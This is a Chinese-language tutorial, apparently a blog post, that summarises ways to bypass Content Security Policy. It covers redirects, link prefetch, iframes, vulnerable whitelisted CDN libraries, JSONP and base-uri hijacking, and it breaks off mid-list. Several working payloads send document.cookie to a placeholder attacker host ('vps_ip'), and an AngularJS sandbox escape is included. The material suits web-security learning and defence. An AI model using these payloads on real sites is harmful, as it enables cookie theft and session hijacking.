我的CSP绕过思路及总结
字数 1292 2025-08-26 22:11:45

CSP绕过技术全面指南

1. CSP简介

内容安全策略(CSP)是一种web应用技术,用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。

2. CSP绕过技术详解

2.1 location.href跳转绕过

原理:CSP不影响location.href跳转,因为大部分网站的跳转功能都由前端实现。

利用方法

location.href = "vps_ip:xxxx?"+document.cookie

利用条件

  • 可以执行任意JS脚本
  • 由于CSP无法数据带外

2.2 link标签绕过

原理:某些老版本浏览器中,link标签未被CSP约束。

利用方法

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

浏览器差异

  • Firefox: <link rel="dns-prefetch" href="//${cookie}.vps_ip">
  • Chrome: <link rel="prefetch" href="//vps_ip?${cookie}">

2.3 Iframe绕过

原理:同源站点内,无CSP保护的B页面可通过iframe操作有CSP保护的A页面的DOM。

利用方法

<!-- B页面 -->
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>

利用条件

  • 同源站点内存在两个页面
  • 一个页面有CSP保护,另一个无保护且存在XSS漏洞
  • 需要的数据在有CSP保护的页面中

2.4 CDN绕过

原理:利用CSP白名单中的低版本JS框架漏洞。

案例

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js></script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

可利用的库

  • Jquery-mobile: <div data-role=popup id='<script>alert(1)</script>'></div>
  • AMP库: <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

2.5 可控静态资源绕过

原理:利用CSP白名单中站点提供的可控静态资源功能。

案例

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

2.6 JSONP绕过

原理:利用CSP白名单中站点提供的可控JSONP功能。

案例

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

2.7 Base-uri绕过

原理:当script-src采用nonce且未设置base-uri时,可通过标签改变上下文。

利用方法

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

利用条件

  • script-src只使用nonce
  • 未额外设置base-uri
  • 页面引用存在相对路径的